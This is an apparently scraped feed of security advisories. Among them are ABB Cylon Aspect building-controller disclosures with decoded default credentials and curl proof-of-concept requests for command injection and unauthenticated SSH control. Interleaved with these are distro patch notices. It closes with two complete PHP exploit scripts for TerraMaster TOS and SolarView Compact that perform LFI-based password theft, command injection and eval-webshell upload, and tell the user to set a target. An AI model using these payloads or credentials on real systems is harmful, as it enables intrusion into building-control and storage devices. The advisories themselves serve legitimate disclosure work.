Snipe-IT before 7.0.10 allows remote code execution (associated with cookie serialization) when an attacker knows the APP_KEY. This is exacerbated by .env files, available from the product's repository, that have default APP_KEY values.

**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-57qh-vmjr-5jxg: Snipe-IT remote code execution

ABB Cylon Aspect version 3.07.02 uses a weak set of default administrative credentials that can be guessed in remote password attacks and used to gain full control of the system.

  
ABB Cylon Aspect 3.07.02 (user.properties) Default Credentials

Vendor: ABB Ltd.  
Product web page: https://www.global.abb  
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio  
                  Firmware: <=3.07.02

Summary: ASPECT is an award-winning scalable building energy management  
and control solution designed to allow users seamless access to their  
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller uses a weak set of default administrative  
credentials that can be guessed in remote password attacks and gain full  
control of the system.

Tested on: GNU/Linux 3.15.10 (armv7l)  
           GNU/Linux 3.10.0 (x86_64)  
           GNU/Linux 2.6.32 (x86_64)  
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz  
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz  
           PHP/7.3.11  
           PHP/5.6.30  
           PHP/5.4.16  
           PHP/4.4.8  
           PHP/5.3.3  
           AspectFT Automation Application Server  
           lighttpd/1.4.32  
           lighttpd/1.4.18  
           Apache/2.2.15 (CentOS)  
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)  
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
                            @zeroscience

Advisory ID: ZSL-2024-5840  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5840.php

21.04.2024

--

$ cat project

                 P   R   O   J   E   C   T

                        .|  
                        | |  
                        |'|            ._____  
                ___    |  |            |.   |' .---"|  
        _    .-'   '-. |  |     .--'|  ||   | _|    |  
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |  
     |' | |.    |    ||       | |   |  |    ||      |  
 ____|  '-'     '    ""       '-'   '-.'    '`      |____  
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░    
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                              
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░   
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░   
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░                                               

                                                                                                               $ cat /home/MIX_CMIX/htmlroot/user.properties  
#Users  
#Mon Mar 20 13:30 EDT 2016  
guest=6775657374  
aamuser=64656661756c74

Using Utils::Hex2String in AuthSession.php:

guest:guest  
aamuser:default

ABB Cylon Aspect 3.07.02 user.properties Default Credentials

ABB Cylon Aspect version 3.08.00 suffers from an authenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands through the MODEM HTTP POST parameter called by the dialupSwitch.php script.

  
ABB Cylon Aspect 3.08.00 (dialupSwitch.php) Remote Code Execution

Vendor: ABB Ltd.  
Product web page: https://www.global.abb  
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio  
                  Firmware: <=3.08.00

Summary: ASPECT is an award-winning scalable building energy management  
and control solution designed to allow users seamless access to their  
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller suffers from an authenticated OS command  
injection vulnerability. This can be exploited to inject and execute arbitrary  
shell commands through the 'MODEM' HTTP POST parameter called by the dialupSwitch.php  
script.

Tested on: GNU/Linux 3.15.10 (armv7l)  
           GNU/Linux 3.10.0 (x86_64)  
           GNU/Linux 2.6.32 (x86_64)  
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz  
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz  
           PHP/7.3.11  
           PHP/5.6.30  
           PHP/5.4.16  
           PHP/4.4.8  
           PHP/5.3.3  
           AspectFT Automation Application Server  
           lighttpd/1.4.32  
           lighttpd/1.4.18  
           Apache/2.2.15 (CentOS)  
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)  
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
                            @zeroscience

Advisory ID: ZSL-2024-5839  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5839.php

21.04.2024

--

$ cat project

                 P   R   O   J   E   C   T

                        .|  
                        | |  
                        |'|            ._____  
                ___    |  |            |.   |' .---"|  
        _    .-'   '-. |  |     .--'|  ||   | _|    |  
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |  
     |' | |.    |    ||       | |   |  |    ||      |  
 ____|  '-'     '    ""       '-'   '-.'    '`      |____  
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░    
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░   
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                              
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░   
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░   
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░  
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░                                               

                                                                                                               $ curl -X POST "http://192.168.73.31/dialupSwitch.php" \  
> -H "Cookie: PHPSESSID=xxx" \  
> -H "Content-Type: application/x-www-form-urlencoded" \   
> -d "MODEM=;echo '<?php phpinfo(); ?>'>j.php"\  
> &Submit=Save"

ABB Cylon Aspect 3.08.00 dialupSwitch.php Remote Code Execution

ABB Cylon Aspect version 3.07.02 suffers from a vulnerability that allows an unauthenticated attacker to enable or disable the SSH daemon by sending a POST request to sshUpdate.php with a simple JSON payload. This can be exploited to start the SSH service on the remote host without proper authentication, potentially enabling unauthorized access or stop and deny service access.

**ABB Cylon Aspect 3.07.02 sshUpdate.php Unauthenticated Remote SSH Service Control**

    ABB Cylon Aspect 3.07.02 (sshUpdate.php) Unauthenticated Remote SSH Service ControlVendor: ABB Ltd.Product web page: https://www.global.abbAffected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio                  Firmware: <=3.07.02Summary: ASPECT is an award-winning scalable building energy managementand control solution designed to allow users seamless access to theirbuilding data through standard building protocols including smart devices.Desc: The BMS/BAS controller suffers from a vulnerability that allows anunauthenticated attacker to enable or disable the SSH daemon by sending aPOST request to sshUpdate.php with a simple JSON payload. This can be exploitedto start the SSH service on the remote host without proper authentication,potentially enabling unauthorized access or stop and deny service access.Tested on: GNU/Linux 3.15.10 (armv7l)           GNU/Linux 3.10.0 (x86_64)           GNU/Linux 2.6.32 (x86_64)           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz           PHP/7.3.11           PHP/5.6.30           PHP/5.4.16           PHP/4.4.8           PHP/5.3.3           AspectFT Automation Application Server           lighttpd/1.4.32           lighttpd/1.4.18           Apache/2.2.15 (CentOS)           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)Vulnerability discovered by Gjoko 'LiquidWorm' Krstic                            @zeroscienceAdvisory ID: ZSL-2024-5838Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5838.phpCWE ID: 306CWE URL: https://cwe.mitre.org/data/definitions/306.html21.04.2024--$ cat project                 P   R   O   J   E   C   T                        .|                        | |                        |'|            ._____                ___    |  |            |.   |' .---"|        _    .-'   '-. |  |     .--'|  ||   | _|    |     .-'|  _.|  |    ||   '-__  |   |  |    ||      |     |' | |.    |    ||       | |   |  |    ||      | ____|  '-'     '    ""       '-'   '-.'    '`      |____░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                                     ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░          ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░          ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░                                                                                                                $ curl -X POST "http://192.168.73.31/sshUpdate.php" \> -H "Content-Type: application/json" \> -d "{\"serviceAction\":\"start\", \"key\":\"sshenable\"}"

ABB Cylon Aspect 3.07.02 sshUpdate.php Unauthenticated Remote SSH Service Control

Debian Linux Security Advisory 5788-1 - Damien Schaeffer discovered a use-after-free in the Mozilla Firefox web browser, which could result in the execution of arbitrary code.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5788-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffOctober 10, 2024                      https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : firefox-esrCVE ID         : CVE-2024-9680Damien Schaeffer discovered a use-after-free in the Mozilla Firefox webbrowser, which could result in the execution of arbitrary code.For the stable distribution (bookworm), this problem has been fixed inversion 128.3.1esr-1~deb12u1.We recommend that you upgrade your firefox-esr packages.For the detailed security status of firefox-esr please refer toits security tracker page at:https://security-tracker.debian.org/tracker/firefox-esrFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmcH/n8ACgkQEMKTtsN8TjYY2xAAiU75PrzOQQ5nku0M0yvcPSpvHPY87erXxc1sAdV/vCSMqygCmkfwRzytDmEqwYwBlHNLSbqOPNYL4bmaj7yzJYfQPqI6hQxr0DMMPY3H3wLyHqMWgfnkoyyyntMys2zU0ZNwGa14KVdyrjnoE13wlhbHY4cJkZU1dhehxRMQEDmAmIwmsXx646/ecVFSJdEp0Wm9muDy9F2dI50YSyPrWwj8zbhqC72qNzGgDHQtiCEcMNaEvDoi48VFMxMGe5EOS6G993R5Hi2rcsd7fyE9/0fWCeZ7JUiXq/inXCcQusV7monLrP7Yy29gROgoj5smz9MMGS3viDblSf+o1P7F3hUqePE5HLvMSiJgXMtMMdD+j4aSYyApmkqFhHpY2zHZpVHK0lZWS+gneVHZZBLmTUVN/T81GQnsHGSHMIucSrMOc78qSruf5khZo2Xl0HIyrCvCYsmjPLhcWBnBQjgW20wtC6mKWWTKQOsMBISppORbJYXSEJbVDaAsbNp5Yvj7SrywjdzzzFK60BkGUFCNoqmtm0oharUtt3R/uZJ+Ta2KG7r6SsHg9T/cQOnx6l/r946bBNzTtk6ifGQRVa4ScVeLF1Ar6GZSgb3fMCJE340U8/UJ/LXj/5kfiva5oYg0Y57zDVh0whBJgyQk+h5rh+AXOILyF67u7mYLaZ/bpSk==z+e7-----END PGP SIGNATURE-----

Debian Security Advisory 5788-1

Ubuntu Security Notice 7020-4 - Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system.

    ==========================================================================Ubuntu Security Notice USN-7020-4October 11, 2024linux-aws-6.8, linux-oracle-6.8 vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 22.04 LTSSummary:Several security issues were fixed in the Linux kernel.Software Description:- linux-aws-6.8: Linux kernel for Amazon Web Services (AWS) systems- linux-oracle-6.8: Linux kernel for Oracle Cloud systemsDetails:Several security issues were discovered in the Linux kernel.An attacker could possibly use these to compromise the system.This update corrects flaws in the following subsystems:  - GPU drivers;  - Network drivers;  - SCSI drivers;  - F2FS file system;  - BPF subsystem;  - IPv4 networking;(CVE-2024-42228, CVE-2024-42154, CVE-2024-42160, CVE-2024-42159,CVE-2024-41009, CVE-2024-42224)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 22.04 LTS  linux-image-6.8.0-1013-oracle   6.8.0-1013.13~22.04.1  linux-image-6.8.0-1013-oracle-64k  6.8.0-1013.13~22.04.1  linux-image-6.8.0-1016-aws      6.8.0-1016.17~22.04.2  linux-image-aws                 6.8.0-1016.17~22.04.2  linux-image-oracle              6.8.0-1013.13~22.04.1  linux-image-oracle-64k          6.8.0-1013.13~22.04.1After a standard system update you need to reboot your computer to makeall the necessary changes.ATTENTION: Due to an unavoidable ABI change the kernel updates havebeen given a new version number, which requires you to recompile andreinstall all third party kernel modules you might have installed.Unless you manually uninstalled the standard kernel metapackages(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,linux-powerpc), a standard system upgrade will automatically performthis as well.References:  https://ubuntu.com/security/notices/USN-7020-4  https://ubuntu.com/security/notices/USN-7020-3  https://ubuntu.com/security/notices/USN-7020-2  https://ubuntu.com/security/notices/USN-7020-1  CVE-2024-41009, CVE-2024-42154, CVE-2024-42159, CVE-2024-42160,  CVE-2024-42224, CVE-2024-42228Package Information:  https://launchpad.net/ubuntu/+source/linux-aws-6.8/6.8.0-1016.17~22.04.2  https://launchpad.net/ubuntu/+source/linux-oracle-6.8/6.8.0-1013.13~22.04.1

Ubuntu Security Notice USN-7020-4

TerraMaster TOS version 4.2.29 suffers from a remote code injection vulnerability leveraging a local file inclusion vulnerability.

    =============================================================================================================================================| # Title     : TerraMaster TOS 4.2.29 Code Injection Vulnerability                                                                         || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://www.terra-master.com/global/alltos/                                                                                 |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 138 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass TerraMasterExploit{    private $targetUri;    private $data = [];    private $terramaster = [];    public function __construct($targetUri)    {        $this->targetUri = rtrim($targetUri, '/') . '/';    }    public function getData()    {        // Get the data by exploiting the LFI vulnerability through vulnerable endpoint `api.php?mobile/webNasIPS`        $response = $this->sendRequest('POST', 'module/api.php?mobile/webNasIPS', ['User-Agent' => 'TNAS']);                if ($response && strpos($response, 'webNasIPS successful') !== false) {            // Parse the JSON response and get the data            $resJson = json_decode($response, true);            if (!empty($resJson['data'])) {                $this->data['password'] = trim(explode('SAT', explode('PWD:', $resJson['data'])[1])[0]);                $this->data['mac'] = trim(explode('"', explode('mac":"', $resJson['data'])[1])[0]);                $this->data['key'] = substr($this->data['mac'], 6, 6); // last three MAC address entries                $this->data['timestamp'] = time();                // derive signature                $this->data['signature'] = $this->tosEncryptStr($this->data['key'], $this->data['timestamp']);            }        }    }    private function tosEncryptStr($key, $strToEncrypt)    {        $id = $key . $strToEncrypt;        return md5($id);    }    public function executeCommand($cmd)    {        // Execute RCE using vulnerable endpoint `api.php?mobile/createRaid`        $diskstring = $this->generateRandomString(4, 8);        $headers = [            'User-Agent' => 'TNAS',            'Authorization' => $this->data['password'],            'Signature' => $this->data['signature'],            'Timestamp' => $this->data['timestamp']        ];        $this->sendRequest('POST', 'module/api.php?mobile/createRaid', [            'raidtype' => ';' . $cmd,            'diskstring' => $diskstring        ], $headers);    }    public function getTerramasterInfo()    {        // get Terramaster CPU architecture and TOS version        $response = $this->sendRequest('GET', 'tos/index.php?user/login');        if ($response) {            preg_match('/ver=.+?"/', $response, $matches);            if ($matches) {                $version = $matches[0];                // check if architecture is ARM64 or X64                if (strpos($version, '_A') !== false) {                    $this->terramaster['cpu_arch'] = 'ARM64';                } elseif (strpos($version, '_S') !== false || strpos($version, '_Q') !== false) {                    $this->terramaster['cpu_arch'] = 'X64';                } else {                    $this->terramaster['cpu_arch'] = 'UNKNOWN';                }                // strip TOS version number and remove trailing double quote.                $this->terramaster['tos_version'] = rtrim(substr($version, strpos($version, '.0_') + 3), '"');            }        }    }    public function check()    {        $this->getTerramasterInfo();        if (empty($this->terramaster)) {            return 'Safe';        }        if (version_compare($this->terramaster['tos_version'], '4.2.29', '<=') === 0) {            return "Vulnerable: TOS version is {$this->terramaster['tos_version']} and CPU architecture is {$this->terramaster['cpu_arch']}.";        }        return "Safe: TOS version is {$this->terramaster['tos_version']} and CPU architecture is {$this->terramaster['cpu_arch']}.";    }    public function exploit()    {        $this->getData();        if (empty($this->data)) {            throw new Exception('Cannot retrieve the leaked data.');        }        echo "Executing exploit...\n";        // Example command to execute        $this->executeCommand('whoami'); // Replace 'whoami' with desired command    }    private function sendRequest($method, $uri, $data = [], $headers = [])    {        $url = $this->targetUri . $uri;        $options = [            CURLOPT_RETURNTRANSFER => true,            CURLOPT_CUSTOMREQUEST => strtoupper($method),            CURLOPT_HTTPHEADER => array_merge(['Content-Type: application/x-www-form-urlencoded'], $headers)        ];        if (strtoupper($method) === 'POST') {            $options[CURLOPT_POSTFIELDS] = http_build_query($data);        } else {            $options[CURLOPT_URL] = $url;        }        $ch = curl_init();        curl_setopt_array($ch, $options);        $response = curl_exec($ch);        curl_close($ch);        return $response;    }    private function generateRandomString($minLength, $maxLength)    {        $length = rand($minLength, $maxLength);        return substr(str_shuffle(str_repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZ", $maxLength)), 0, $length);    }}// Usage$exploit = new TerraMasterExploit('http://target-terramaster-url.com');$check = $exploit->check();echo $check . "\n";if (strpos($check, 'Vulnerable') !== false) {    $exploit->exploit();}Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

TerraMaster TOS 4.2.29 Code Injection / Local File Inclusion

SolarView Compact version 6.00 suffers from a PHP code injection vulnerability.

=============================================================================================================================================  
| # Title     : SolarView Compact 6.00 Code Injection Vulnerability                                                                         |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            |  
| # Vendor    : https://www.contec.com/                                                                                                     |  
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] uses the CURL to Allow remote command .

[+] Line 112 set your target .

[+] save code as poc.php .

[+] USage : cmd => c:\www\test\php poc.php 

[+] PayLoad :

<?php

class SolarViewExploit {  
    private $targetUri;  
    private $webshellName;  
    private $postParam;  
    private $timeout;

    public function __construct($targetUri, $timeout = 40) {  
        $this->targetUri = rtrim($targetUri, '/');  
        $this->timeout = $timeout;  
    }

    public function uploadWebshell($webshell = null) {  
        // Randomize file name if option WEBSHELL is not set  
        $this->webshellName = $webshell ?? $this->generateRandomFileName();

        $this->postParam = $this->generateRandomString(8);

                // Inject PHP payload into the PLTE chunk of a PNG image to hide the payload  
        $phpPayload = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";  
        $pngWebshell = $this->injectPhpPayloadPng($phpPayload);

        if ($pngWebshell === null) {  
            return null;  
        }

        // Encode webshell data and write to file on the target at the tmp directory for execution  
        $payload = base64_encode($pngWebshell);  
        $cmd = "echo {$payload}|base64 -d >tmp/{$this->webshellName}";  
        return $this->executeCommand($cmd);  
    }

    public function executePhp($cmd) {  
        $payload = base64_encode($cmd);  
        return $this->sendRequest('POST', "/tmp/{$this->webshellName}", [  
            $this->postParam => $payload  
        ]);  
    }

    public function executeCommand($cmd) {  
        // Encode payload with base64 to ensure proper execution  
        $payload = base64_encode($cmd);  
        $cmd = "echo {$payload}|base64 -d|bash";  
        return $this->sendRequest('GET', '/downloader.php', [  
            'file' => ";{$cmd};.zip"  
        ]);  
    }

    public function check() {  
        // Checking if the target is vulnerable by echoing a randomised marker  
        echo "Checking if {$this->targetUri} can be exploited.\n";  
        $marker = $this->generateRandomString(16);  
        $res = $this->executeCommand("echo {$marker};cat /opt/svc/version");

        if ($res && $res['code'] == 200 && strpos($res['body'], $marker) !== false) {  
            if (preg_match('/SolarView Compact ver\.\d\.\d\d/', $res['body'], $matches)) {  
                return "Vulnerable: " . $matches[0];  
            }  
        }  
        return 'Safe: No valid response received from the target.';  
    }

    public function exploit($payload) {  
        echo "Executing payload on {$this->targetUri}.\n";  
        $res = $this->uploadWebshell();

        if (!$res || $res['code'] !== 200) {  
            throw new Exception('Web shell upload error.');  
        }

        $this->executePhp($payload);  
    }

    private function sendRequest($method, $uri, $params) {  
        $url = $this->targetUri . $uri;  
        $options = [  
            'http' => [  
                'method' => $method,  
                'header' => 'Content-Type: application/x-www-form-urlencoded',  
                'timeout' => $this->timeout,  
                'content' => http_build_query($params)  
            ]  
        ];

        $context = stream_context_create($options);  
        $response = @file_get_contents($url, false, $context);  
        $code = isset($http_response_header[0]) ? intval(substr($http_response_header[0], 9, 3)) : 0;

        return [  
            'code' => $code,  
            'body' => $response  
        ];  
    }

    private function injectPhpPayloadPng($phpPayload) {  
        // Here you would implement the logic to inject the PHP payload into a PNG file.  
        // This is a placeholder implementation.  
        return $phpPayload; // Modify this to return the actual PNG with embedded PHP payload.  
    }

    private function generateRandomFileName($length = 16) {  
        return bin2hex(random_bytes($length / 2)) . '.php';  
    }

    private function generateRandomString($length) {  
        return bin2hex(random_bytes($length / 2));  
    }  
}

// Example of usage  
$targetUri = 'http://target-ip'; // Replace with the actual target URL  
$exploit = new SolarViewExploit($targetUri);  
echo $exploit->check();  
$exploit->exploit('whoami'); // Replace with your payload

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

SolarView Compact 6.00 Code Injection

Red Hat Security Advisory 2024-7977-03 - An update for firefox is now available for Red Hat Enterprise Linux 8. Issues addressed include a use-after-free vulnerability.

